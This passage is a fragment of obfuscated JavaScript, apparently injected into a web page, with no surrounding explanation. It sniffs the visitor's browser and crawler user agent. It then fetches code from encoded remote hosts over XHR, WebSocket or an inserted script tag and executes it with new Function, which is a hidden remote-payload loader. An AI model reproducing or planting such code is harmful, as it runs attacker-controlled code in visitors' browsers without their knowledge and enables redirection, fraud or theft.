Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};